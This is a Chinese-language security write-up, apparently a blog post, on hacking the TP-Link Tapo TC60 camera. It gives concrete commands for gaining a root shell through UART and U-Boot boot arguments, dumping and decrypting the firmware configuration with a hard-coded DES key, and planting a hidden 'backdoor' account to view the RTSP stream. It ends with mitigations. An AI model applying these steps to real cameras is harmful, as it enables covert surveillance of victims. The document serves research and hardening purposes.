hacking Tapo TC60摄像头
字数 1843 2025-08-22 12:23:00

Tapo TC60 智能摄像头安全分析与渗透测试指南

1. 设备概述与初步分析

Tapo TC60 是一款智能安全摄像头,由 TP-Link 公司生产。该设备具有以下硬件特性:

  • 主控芯片:Ingenic T31(视频处理 SoC)
  • WiFi 模块:RTL8188FTV(WiFi 和网络 USB 芯片)
  • 存储芯片:XMC 25QH64C(64Mb 串行闪存)
  • 具备 SD 卡插槽
  • 采用 U-Boot 引导加载程序
  • 运行基于 Linux 的系统(BusyBox v1.19.4)

2. 硬件拆解与接口识别

2.1 物理拆解步骤

  1. 移除设备支架
  2. 使用 iFixIt 工具释放主机箱前部的 4 个夹子
  3. 分离外壳后可见主板

2.2 关键硬件组件识别

  • 主板正面
    • Ingenic T31 主芯片
    • RTL8188FTV WiFi 芯片
    • 音频放大器及其他无源元件
  • 主板背面
    • 可拆卸摄像头组件
    • XMC 25QH64C 闪存芯片(位于摄像头组件下方)

2.3 UART 接口识别

  • 位置:T31 芯片上方的一组测试点
  • 引脚识别:
    • 使用万用表识别 GND 和 Vcc
    • 剩余两个引脚为 TX/RX
  • 参数:115200 波特率,8N1

3. UART 访问与系统控制

3.1 连接 UART

  1. 使用逻辑分析仪或示波器确认数据引脚
  2. 通过 Tigard 板或其他 UART 适配器连接

3.2 中断引导序列

使用 TC100/TC200 已知的 U-Boot 转义序列中断引导过程:

------Firmware check pass!-----
Autobooting in 1 seconds
isvp_t31# isvp_t31# slp

3.3 获取 root shell

成功中断后,可修改启动参数获取 root shell:

setenv bootargs console=ttyS1,115200n8 mem=45M@0x0 rmem=19M@0x2d00000 root=/dev/mtdblock6 rootfstype=squashfs spdev=/dev/mtdblock7 noinitrd init=/bin/sh
printenv
sf probe; sf read 0x80700000 0x80200 0x175000; bootm 0x80700000

成功后将获得 root 权限的 BusyBox shell:

/ # id
uid=0(root) gid=0(root)

4. 固件提取与分析

4.1 通过 SD 卡提取固件

  1. 挂载必要目录:

    mount -t proc none /proc
    mount -t tmpfs tmpfs /dev -o mode=0755,size=512K
    mount tmpfs /tmp -t tmpfs -o size=20633600,nosuid,nodev,mode=1777
    mknod /dev/slp_flash_chrdev c 222 0
    
  2. 使用 uc_convert 工具转储固件:

    /bin/uc_convert -t 0
    
  3. 固件将存储在 /tmp 目录中

4.2 固件分析

使用 binwalk 分析提取的固件:

binwalk flashdump.bin

关键发现:

  • 包含多个 SquashFS 文件系统
  • 使用 LZO 和 LZMA 压缩
  • 包含 Linux 内核镜像(版本 3.10.14)
  • 包含多个 PEM 证书

5. 配置文件解密与分析

5.1 配置文件位置

  • 主配置文件:/tmp/etc/uc_conf/user_management
  • 包含用户账户信息:
    • root 账户
    • third_account(RTSP 流访问账户)

5.2 密码存储方式

  1. root 账户

    • passwd 字段:MD5 哈希
    • ciphertext 字段:RSA 加密数据
  2. third_account

    • 默认禁用(用户名为"---")
    • 用于 RTSP 流访问
    • 必须同时设置 passwd 和 ciphertext 才能工作

5.3 离线解密方法

  1. 定位加密密钥:

    • 在固件中搜索设备型号相关字符串
    • TC60 使用 "TC60 1.0" 作为密钥种子
  2. 使用 OpenSSL 解密:

    openssl enc -d -des-ecb -nopad -K 3463666461643831 -in mtdblock3.bin -out test.bin
    

6. 攻击向量与后门植入

6.1 添加隐蔽账户

  1. 通过 UART 获取 root shell

  2. 修改 /tmp/etc/uc_conf/user_management 文件:

    • 添加 backdoor 账户
    • 设置已知的 MD5 哈希密码
    • 复制有效的 ciphertext 值
  3. 示例账户配置:

    username: backdoor
    passwd: Password206 的 MD5 哈希
    ciphertext: [从合法账户复制]
    

6.2 持久化访问

  1. 将修改后的配置写回闪存
  2. 重启设备
  3. 通过 RTSP 协议访问视频流:
    rtsp://backdoor:Password206@<camera-ip>/stream
    

7. 安全建议与缓解措施

7.1 针对设备所有者

  1. 物理安全:

    • 将设备安装在难以物理接触的位置
    • 使用防拆解外壳
  2. 网络安全:

    • 将摄像头隔离在专用 VLAN
    • 启用防火墙规则限制访问
  3. 固件更新:

    • 定期检查并安装最新固件

7.2 针对厂商

  1. 硬件改进:

    • 禁用或保护 UART 接口
    • 使用安全启动机制
  2. 软件改进:

    • 使用更安全的密码哈希算法
    • 实现配置文件完整性检查
    • 避免硬编码加密密钥
  3. 安全审计:

    • 定期进行第三方安全评估
    • 实施漏洞奖励计划

8. 总结与结论

Tapo TC60 摄像头存在多个安全漏洞,包括:

  1. 暴露的 UART 接口允许 root 访问
  2. 弱密码存储机制(MD5 哈希)
  3. 可预测的加密密钥
  4. 缺乏配置文件完整性保护

通过物理访问,攻击者可以在约5分钟内植入持久性后门,获得视频流的未授权访问权限。虽然需要物理接触设备,但这种攻击在特定场景下(如内部人员威胁)仍然构成严重风险。

本研究表明,IoT 设备制造商需要更加重视硬件和软件的安全设计,特别是在物理安全边界被突破后的防护措施。

Tapo TC60 智能摄像头安全分析与渗透测试指南 1. 设备概述与初步分析 Tapo TC60 是一款智能安全摄像头,由 TP-Link 公司生产。该设备具有以下硬件特性: 主控芯片:Ingenic T31(视频处理 SoC) WiFi 模块:RTL8188FTV(WiFi 和网络 USB 芯片) 存储芯片:XMC 25QH64C(64Mb 串行闪存) 具备 SD 卡插槽 采用 U-Boot 引导加载程序 运行基于 Linux 的系统(BusyBox v1.19.4) 2. 硬件拆解与接口识别 2.1 物理拆解步骤 移除设备支架 使用 iFixIt 工具释放主机箱前部的 4 个夹子 分离外壳后可见主板 2.2 关键硬件组件识别 主板正面 : Ingenic T31 主芯片 RTL8188FTV WiFi 芯片 音频放大器及其他无源元件 主板背面 : 可拆卸摄像头组件 XMC 25QH64C 闪存芯片(位于摄像头组件下方) 2.3 UART 接口识别 位置:T31 芯片上方的一组测试点 引脚识别: 使用万用表识别 GND 和 Vcc 剩余两个引脚为 TX/RX 参数:115200 波特率,8N1 3. UART 访问与系统控制 3.1 连接 UART 使用逻辑分析仪或示波器确认数据引脚 通过 Tigard 板或其他 UART 适配器连接 3.2 中断引导序列 使用 TC100/TC200 已知的 U-Boot 转义序列中断引导过程: 3.3 获取 root shell 成功中断后,可修改启动参数获取 root shell: 成功后将获得 root 权限的 BusyBox shell: 4. 固件提取与分析 4.1 通过 SD 卡提取固件 挂载必要目录: 使用 uc_convert 工具转储固件: 固件将存储在 /tmp 目录中 4.2 固件分析 使用 binwalk 分析提取的固件: 关键发现: 包含多个 SquashFS 文件系统 使用 LZO 和 LZMA 压缩 包含 Linux 内核镜像(版本 3.10.14) 包含多个 PEM 证书 5. 配置文件解密与分析 5.1 配置文件位置 主配置文件: /tmp/etc/uc_conf/user_management 包含用户账户信息: root 账户 third_ account(RTSP 流访问账户) 5.2 密码存储方式 root 账户 : passwd 字段:MD5 哈希 ciphertext 字段:RSA 加密数据 third_ account : 默认禁用(用户名为"---") 用于 RTSP 流访问 必须同时设置 passwd 和 ciphertext 才能工作 5.3 离线解密方法 定位加密密钥: 在固件中搜索设备型号相关字符串 TC60 使用 "TC60 1.0" 作为密钥种子 使用 OpenSSL 解密: 6. 攻击向量与后门植入 6.1 添加隐蔽账户 通过 UART 获取 root shell 修改 /tmp/etc/uc_conf/user_management 文件: 添加 backdoor 账户 设置已知的 MD5 哈希密码 复制有效的 ciphertext 值 示例账户配置: 6.2 持久化访问 将修改后的配置写回闪存 重启设备 通过 RTSP 协议访问视频流: 7. 安全建议与缓解措施 7.1 针对设备所有者 物理安全: 将设备安装在难以物理接触的位置 使用防拆解外壳 网络安全: 将摄像头隔离在专用 VLAN 启用防火墙规则限制访问 固件更新: 定期检查并安装最新固件 7.2 针对厂商 硬件改进: 禁用或保护 UART 接口 使用安全启动机制 软件改进: 使用更安全的密码哈希算法 实现配置文件完整性检查 避免硬编码加密密钥 安全审计: 定期进行第三方安全评估 实施漏洞奖励计划 8. 总结与结论 Tapo TC60 摄像头存在多个安全漏洞,包括: 暴露的 UART 接口允许 root 访问 弱密码存储机制(MD5 哈希) 可预测的加密密钥 缺乏配置文件完整性保护 通过物理访问,攻击者可以在约5分钟内植入持久性后门,获得视频流的未授权访问权限。虽然需要物理接触设备,但这种攻击在特定场景下(如内部人员威胁)仍然构成严重风险。 本研究表明,IoT 设备制造商需要更加重视硬件和软件的安全设计,特别是在物理安全边界被突破后的防护措施。